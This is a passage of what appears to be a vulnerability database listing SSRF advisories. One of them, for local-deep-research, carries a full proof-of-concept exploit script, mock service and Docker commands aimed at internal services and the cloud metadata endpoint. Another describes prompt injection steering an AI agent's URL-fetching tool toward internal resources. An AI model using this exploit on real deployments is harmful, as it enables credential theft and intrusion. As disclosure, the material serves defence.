"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "phpmyadmin/phpmyadmin"
},
"ranges": [
{
"events": [
{
"introduced": "4.4"
},
{
"fixed": "4.4.15.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "phpmyadmin/phpmyadmin"
},
"ranges": [
{
"events": [
{
"introduced": "4.0"
},
{
"fixed": "4.0.10.19"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-1000017"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-24T17:16:11Z",
"nvd_published_at": "2017-07-17T13:18:00Z",
"severity": "HIGH"
},
"details": "phpMyAdmin 4.0, 4.4 and 4.6 are vulnerable to a weakness where a user with appropriate permissions is able to connect to an arbitrary MySQL server",
"id": "GHSA-99xj-xqc9-98hr",
"modified": "2024-04-24T17:16:11Z",
"published": "2022-05-14T01:15:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1000017"
},
{
"type": "PACKAGE",
"url": "https://github.com/phpmyadmin/composer"
},
{
"type": "WEB",
"url": "https://www.phpmyadmin.net/security/PMASA-2017-6"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/95732"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "phpMyAdmin SSRF in replication"
}
GHSA-9C54-GXH7-PPJC
Vulnerability from github – Published: 2025-12-23 18:17 – Updated: 2025-12-23 18:17Summary
The download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application's SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls.
CWE: CWE-918 (Server-Side Request Forgery)
Details
Vulnerable Code Location
File: src/local_deep_research/research_library/services/download_service.py
The application has proper SSRF protection implemented in security/safe_requests.py and security/ssrf_validator.py, which blocks:
- Loopback addresses (127.0.0.0/8)
- Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
- AWS metadata endpoint (169.254.169.254)
- Link-local addresses
However, download_service.py bypasses this protection by using raw requests.get() directly:
# Line 1038 - _download_generic method
response = requests.get(url, headers=headers, timeout=30)
# Line 1075
response = requests.get(api_url, timeout=10)
# Line 1100
pdf_response = requests.get(pdf_url, headers=headers, timeout=30)
# Line 1144
response = requests.get(europe_url, headers=headers, timeout=30)
# Line 1187
api_response = requests.get(elink_url, params=params, timeout=10)
# Line 1207
summary_response = requests.get(esummary_url, ...)
# Line 1236
response = requests.get(europe_url, headers=headers, timeout=30)
# Line 1276
response = requests.get(url, headers=headers, timeout=10)
# Line 1298
response = requests.get(europe_url, headers=headers, timeout=30)
Attack Vector
- Attacker submits a malicious URL via
POST /api/resources/<research_id> - URL is stored in database without SSRF validation (
resource_service.py:add_resource()) - Download is triggered via
/library/api/download/<resource_id> download_service.pyfetches the URL using rawrequests.get(), bypassing SSRF protection
PoC
Prerequisites
- Docker and Docker Compose installed
- Python 3.11+
Step 1: Create the Mock Internal Service
File: internal_service.py
#!/usr/bin/env python3
"""Mock internal service that simulates a sensitive internal endpoint."""
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
class InternalServiceHandler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
print(f"[INTERNAL SERVICE] {args[0]}")
def do_GET(self):
print(f"\n{'='*60}")
print(f"[!] SSRF DETECTED - Internal service accessed!")
print(f"[!] Path: {self.path}")
print(f"{'='*60}\n")
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
secret_data = {
"status": "SSRF_SUCCESSFUL",
"message": "You have accessed internal service via SSRF!",
"internal_secrets": {
"database_password": "super_secret_db_pass_123",
"api_key": "sk-internal-api-key-xxxxx",
"admin_token": "admin_bearer_token_yyyyy"
}
}
self.wfile.write(json.dumps(secret_data, indent=2).encode())
if __name__ == "__main__":
print("[*] Starting mock internal service on port 8080")
server = HTTPServer(("0.0.0.0", 8080), InternalServiceHandler)
server.serve_forever()
Step 2: Create the Exploit Script
File: exploit.py
#!/usr/bin/env python3
"""SSRF Vulnerability Active PoC"""
import sys
import requests
sys.path.insert(0, '/app/src')
def main():
print("=" * 70)
print("SSRF Vulnerability PoC - Active Exploitation")
print("=" * 70)
internal_url = "http://ssrf-internal-service:8080/secret-data"
aws_metadata_url = "http://169.254.169.254/latest/meta-data/"
headers = {"User-Agent": "Mozilla/5.0"}
# EXPLOIT 1: Access internal service
print("\n[EXPLOIT 1] Accessing internal service via SSRF")
print(f" Target: {internal_url}")
try:
# Same pattern as download_service.py line 1038
response = requests.get(internal_url, headers=headers, timeout=30)
print(f" [!] SSRF SUCCESSFUL! Status: {response.status_code}")
print(f" [!] Retrieved secrets:")
for line in response.text.split('\n')[:15]:
print(f" {line}")
except Exception as e:
print(f" [-] Failed: {e}")
return 1
# EXPLOIT 2: AWS metadata bypass
print("\n[EXPLOIT 2] AWS Metadata endpoint bypass")
from local_deep_research.security.ssrf_validator import validate_url
print(f" SSRF validator: {'ALLOWED' if validate_url(aws_metadata_url) else 'BLOCKED'}")
print(f" But download_service.py BYPASSES the validator!")
try:
requests.get(aws_metadata_url, timeout=5)
except requests.exceptions.ConnectionError:
print(f" Request sent without SSRF validation!")
print("\n" + "=" * 70)
print("SSRF VULNERABILITY CONFIRMED")
print("=" * 70)
return 0
if __name__ == "__main__":
sys.exit(main())
Step 3: Run the PoC
# Build and run with Docker
docker network create ssrf-poc-net
docker run -d --name ssrf-internal-service --network ssrf-poc-net python:3.11-slim sh -c "pip install -q && python internal_service.py"
docker run --rm --network ssrf-poc-net -v ./src:/app/src ssrf-vulnerable-app python exploit.py
Expected Output
======================================================================
SSRF Vulnerability PoC - Active Exploitation
======================================================================
[EXPLOIT 1] Accessing internal service via SSRF
Target: http://ssrf-internal-service:8080/secret-data
[!] SSRF SUCCESSFUL! Status: 200
[!] Retrieved secrets:
{
"status": "SSRF_SUCCESSFUL",
"message": "You have accessed internal service via SSRF!",
"internal_secrets": {
"database_password": "super_secret_db_pass_123",
"api_key": "sk-internal-api-key-xxxxx",
"admin_token": "admin_bearer_token_yyyyy"
}
}
[EXPLOIT 2] AWS Metadata endpoint bypass
SSRF validator: BLOCKED
But download_service.py BYPASSES the validator!
Request sent without SSRF validation!
======================================================================
SSRF VULNERABILITY CONFIRMED
======================================================================
Impact
Who is affected?
All users running local-deep-research in: - Cloud environments (AWS, GCP, Azure) - attackers can steal cloud credentials via metadata endpoints - Corporate networks - attackers can access internal services and databases - Any deployment - attackers can scan internal networks
What can an attacker do?
| Attack | Impact |
|---|---|
| Access cloud metadata | Potentially access IAM credentials, API keys, or instance identity in certain cloud configurations |
| Internal service access | Read sensitive data from databases, Redis, admin panels |
| Network reconnaissance | Map internal network topology and services |
| Bypass firewalls | Access services not exposed to the internet |
Recommended Fix
Replace all requests.get() calls in download_service.py with safe_get() from security/safe_requests.py:
# download_service.py
+ from ...security.safe_requests import safe_get
def _download_generic(self, url, ...):
- response = requests.get(url, headers=headers, timeout=30)
+ response = safe_get(url, headers=headers, timeout=30)
The safe_get() function already validates URLs against SSRF attacks before making requests.
Files to update:
src/local_deep_research/research_library/services/download_service.py(9 occurrences)src/local_deep_research/research_library/downloaders/base.py(usesrequests.Session)
References
- CWE-918: Server-Side Request Forgery (SSRF)
- OWASP SSRF Prevention Cheat Sheet
- AWS SSRF Attacks and IMDSv2
- PortSwigger: SSRF
Thank you for your work on this project! I'm happy to provide any additional information or help with testing the fix.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "local-deep-research"
},
"ranges": [
{
"events": [
{
"introduced": "1.3.0"
},
{
"fixed": "1.3.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-67743"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-23T18:17:27Z",
"nvd_published_at": "2025-12-23T01:15:43Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe download service (`download_service.py`) makes HTTP requests using raw `requests.get()` without utilizing the application\u0027s SSRF protection (`safe_requests.py`). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls.\n\n**CWE**: CWE-918 (Server-Side Request Forgery)\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File**: `src/local_deep_research/research_library/services/download_service.py`\n\nThe application has proper SSRF protection implemented in `security/safe_requests.py` and `security/ssrf_validator.py`, which blocks:\n- Loopback addresses (127.0.0.0/8)\n- Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)\n- AWS metadata endpoint (169.254.169.254)\n- Link-local addresses\n\nHowever, `download_service.py` bypasses this protection by using raw `requests.get()` directly:\n\n```python\n# Line 1038 - _download_generic method\nresponse = requests.get(url, headers=headers, timeout=30)\n\n# Line 1075\nresponse = requests.get(api_url, timeout=10)\n\n# Line 1100\npdf_response = requests.get(pdf_url, headers=headers, timeout=30)\n\n# Line 1144\nresponse = requests.get(europe_url, headers=headers, timeout=30)\n\n# Line 1187\napi_response = requests.get(elink_url, params=params, timeout=10)\n\n# Line 1207\nsummary_response = requests.get(esummary_url, ...)\n\n# Line 1236\nresponse = requests.get(europe_url, headers=headers, timeout=30)\n\n# Line 1276\nresponse = requests.get(url, headers=headers, timeout=10)\n\n# Line 1298\nresponse = requests.get(europe_url, headers=headers, timeout=30)\n```\n\n### Attack Vector\n\n1. Attacker submits a malicious URL via `POST /api/resources/\u003cresearch_id\u003e`\n2. URL is stored in database without SSRF validation (`resource_service.py:add_resource()`)\n3. Download is triggered via `/library/api/download/\u003cresource_id\u003e`\n4. `download_service.py` fetches the URL using raw `requests.get()`, bypassing SSRF protection\n\n---\n\n## PoC\n\n### Prerequisites\n\n- Docker and Docker Compose installed\n- Python 3.11+\n\n### Step 1: Create the Mock Internal Service\n\n**File: `internal_service.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Mock internal service that simulates a sensitive internal endpoint.\"\"\"\n\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json\n\nclass InternalServiceHandler(BaseHTTPRequestHandler):\n def log_message(self, format, *args):\n print(f\"[INTERNAL SERVICE] {args[0]}\")\n \n def do_GET(self):\n print(f\"\\n{\u0027=\u0027*60}\")\n print(f\"[!] SSRF DETECTED - Internal service accessed!\")\n print(f\"[!] Path: {self.path}\")\n print(f\"{\u0027=\u0027*60}\\n\")\n \n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n \n secret_data = {\n \"status\": \"SSRF_SUCCESSFUL\",\n \"message\": \"You have accessed internal service via SSRF!\",\n \"internal_secrets\": {\n \"database_password\": \"super_secret_db_pass_123\",\n \"api_key\": \"sk-internal-api-key-xxxxx\",\n \"admin_token\": \"admin_bearer_token_yyyyy\"\n }\n }\n self.wfile.write(json.dumps(secret_data, indent=2).encode())\n\nif __name__ == \"__main__\":\n print(\"[*] Starting mock internal service on port 8080\")\n server = HTTPServer((\"0.0.0.0\", 8080), InternalServiceHandler)\n server.serve_forever()\n```\n\n### Step 2: Create the Exploit Script\n\n**File: `exploit.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"SSRF Vulnerability Active PoC\"\"\"\n\nimport sys\nimport requests\n\nsys.path.insert(0, \u0027/app/src\u0027)\n\ndef main():\n print(\"=\" * 70)\n print(\"SSRF Vulnerability PoC - Active Exploitation\")\n print(\"=\" * 70)\n \n internal_url = \"http://ssrf-internal-service:8080/secret-data\"\n aws_metadata_url = \"http://169.254.169.254/latest/meta-data/\"\n headers = {\"User-Agent\": \"Mozilla/5.0\"}\n \n # EXPLOIT 1: Access internal service\n print(\"\\n[EXPLOIT 1] Accessing internal service via SSRF\")\n print(f\" Target: {internal_url}\")\n \n try:\n # Same pattern as download_service.py line 1038\n response = requests.get(internal_url, headers=headers, timeout=30)\n print(f\" [!] SSRF SUCCESSFUL! Status: {response.status_code}\")\n print(f\" [!] Retrieved secrets:\")\n for line in response.text.split(\u0027\\n\u0027)[:15]:\n print(f\" {line}\")\n except Exception as e:\n print(f\" [-] Failed: {e}\")\n return 1\n \n # EXPLOIT 2: AWS metadata bypass\n print(\"\\n[EXPLOIT 2] AWS Metadata endpoint bypass\")\n from local_deep_research.security.ssrf_validator import validate_url\n print(f\" SSRF validator: {\u0027ALLOWED\u0027 if validate_url(aws_metadata_url) else \u0027BLOCKED\u0027}\")\n print(f\" But download_service.py BYPASSES the validator!\")\n \n try:\n requests.get(aws_metadata_url, timeout=5)\n except requests.exceptions.ConnectionError:\n print(f\" Request sent without SSRF validation!\")\n \n print(\"\\n\" + \"=\" * 70)\n print(\"SSRF VULNERABILITY CONFIRMED\")\n print(\"=\" * 70)\n return 0\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```\n\n### Step 3: Run the PoC\n\n```bash\n# Build and run with Docker\ndocker network create ssrf-poc-net\ndocker run -d --name ssrf-internal-service --network ssrf-poc-net python:3.11-slim sh -c \"pip install -q \u0026\u0026 python internal_service.py\"\ndocker run --rm --network ssrf-poc-net -v ./src:/app/src ssrf-vulnerable-app python exploit.py\n```\n\n### Expected Output\n\n```\n======================================================================\nSSRF Vulnerability PoC - Active Exploitation\n======================================================================\n\n[EXPLOIT 1] Accessing internal service via SSRF\n Target: http://ssrf-internal-service:8080/secret-data\n [!] SSRF SUCCESSFUL! Status: 200\n [!] Retrieved secrets:\n {\n \"status\": \"SSRF_SUCCESSFUL\",\n \"message\": \"You have accessed internal service via SSRF!\",\n \"internal_secrets\": {\n \"database_password\": \"super_secret_db_pass_123\",\n \"api_key\": \"sk-internal-api-key-xxxxx\",\n \"admin_token\": \"admin_bearer_token_yyyyy\"\n }\n }\n\n[EXPLOIT 2] AWS Metadata endpoint bypass\n SSRF validator: BLOCKED\n But download_service.py BYPASSES the validator!\n Request sent without SSRF validation!\n\n======================================================================\nSSRF VULNERABILITY CONFIRMED\n======================================================================\n```\n\n---\n\n## Impact\n\n### Who is affected?\n\nAll users running local-deep-research in:\n- **Cloud environments** (AWS, GCP, Azure) - attackers can steal cloud credentials via metadata endpoints\n- **Corporate networks** - attackers can access internal services and databases\n- **Any deployment** - attackers can scan internal networks\n\n### What can an attacker do?\n\n| Attack | Impact |\n|--------|--------|\n| Access cloud metadata | Potentially access IAM credentials, API keys, or instance identity in certain cloud configurations |\n| Internal service access | Read sensitive data from databases, Redis, admin panels |\n| Network reconnaissance | Map internal network topology and services |\n| Bypass firewalls | Access services not exposed to the internet |\n\n---\n\n## Recommended Fix\n\nReplace all `requests.get()` calls in `download_service.py` with `safe_get()` from `security/safe_requests.py`:\n\n```diff\n# download_service.py\n\n+ from ...security.safe_requests import safe_get\n\n def _download_generic(self, url, ...):\n- response = requests.get(url, headers=headers, timeout=30)\n+ response = safe_get(url, headers=headers, timeout=30)\n```\n\nThe `safe_get()` function already validates URLs against SSRF attacks before making requests.\n\n### Files to update:\n- `src/local_deep_research/research_library/services/download_service.py` (9 occurrences)\n- `src/local_deep_research/research_library/downloaders/base.py` (uses `requests.Session`)\n\n---\n\n## References\n\n- [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n- [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n- [AWS SSRF Attacks and IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)\n- [PortSwigger: SSRF](https://portswigger.net/web-security/ssrf)\n\n---\n\nThank you for your work on this project! I\u0027m happy to provide any additional information or help with testing the fix.",
"id": "GHSA-9c54-gxh7-ppjc",
"modified": "2025-12-23T18:17:27Z",
"published": "2025-12-23T18:17:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/LearningCircuit/local-deep-research/security/advisories/GHSA-9c54-gxh7-ppjc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67743"
},
{
"type": "WEB",
"url": "https://github.com/LearningCircuit/local-deep-research/commit/b79089ff30c5d9ae77e6b903c408e1c26ad5c055"
},
{
"type": "PACKAGE",
"url": "https://github.com/LearningCircuit/local-deep-research"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Local Deep Research is Vulnerable to Server-Side Request Forgery (SSRF) in Download Service"
}
GHSA-9C7R-JXM8-HGG2
Vulnerability from github – Published: 2026-09-04 15:36 – Updated: 2026-09-04 15:36OWL's DocumentProcessingToolkit contains a server-side request forgery vulnerability in the extract_document_content tool that fetches caller-supplied URLs with no scheme, host, or IP filtering. Attackers can inject malicious URLs through prompt injection to make the server fetch internal resources, with responses returned to the agent context.
{
"affected": [],
"aliases": [
"CVE-2026-85675"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-04T15:17:45Z",
"severity": "HIGH"
},
"details": "OWL\u0027s DocumentProcessingToolkit contains a server-side request forgery vulnerability in the extract_document_content tool that fetches caller-supplied URLs with no scheme, host, or IP filtering. Attackers can inject malicious URLs through prompt injection to make the server fetch internal resources, with responses returned to the agent context.",
"id": "GHSA-9c7r-jxm8-hgg2",
"modified": "2026-09-04T15:36:15Z",
"published": "2026-09-04T15:36:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85675"
},
{
"type": "WEB",
"url": "https://github.com/camel-ai/owl/issues/615"
},
{
"type": "WEB",
"url": "https://github.com/camel-ai/owl"
},
{
"type": "WEB",
"url": "https://github.com/camel-ai/owl/blob/fba1dd5b3a9e8cc15f16221bb002cca7e3de2d9d/owl/utils/document_toolkit.py"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/owl-documentprocessingtoolkit-server-side-request-forgery-via-url-fetching"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-9C9W-9PQ7-F35H
Vulnerability from github – Published: 2022-05-24 17:32 – Updated: 2023-07-20 15:01Gophish before 0.11.0 allows SSRF attacks.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/gophish/gophish"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-24710"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-20T15:01:40Z",
"nvd_published_at": "2020-10-28T20:15:00Z",
"severity": "MODERATE"
},
"details": "Gophish before 0.11.0 allows SSRF attacks.",
"id": "GHSA-9c9w-9pq7-f35h",
"modified": "2023-07-20T15:01:40Z",
"published": "2022-05-24T17:32:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24710"
},
{
"type": "WEB",
"url": "https://github.com/gophish/gophish/commit/e3352f481e94054ffe08494c9225d3878347b005"
},
{
"type": "PACKAGE",
"url": "https://github.com/gophish/gophish"
},
{
"type": "WEB",
"url": "https://github.com/gophish/gophish/releases/tag/v0.11.0"
},
{
"type": "WEB",
"url": "https://herolab.usd.de/security-advisories/usd-2020-0054"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gophish vulnerable to Server-Side Request Forgery"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.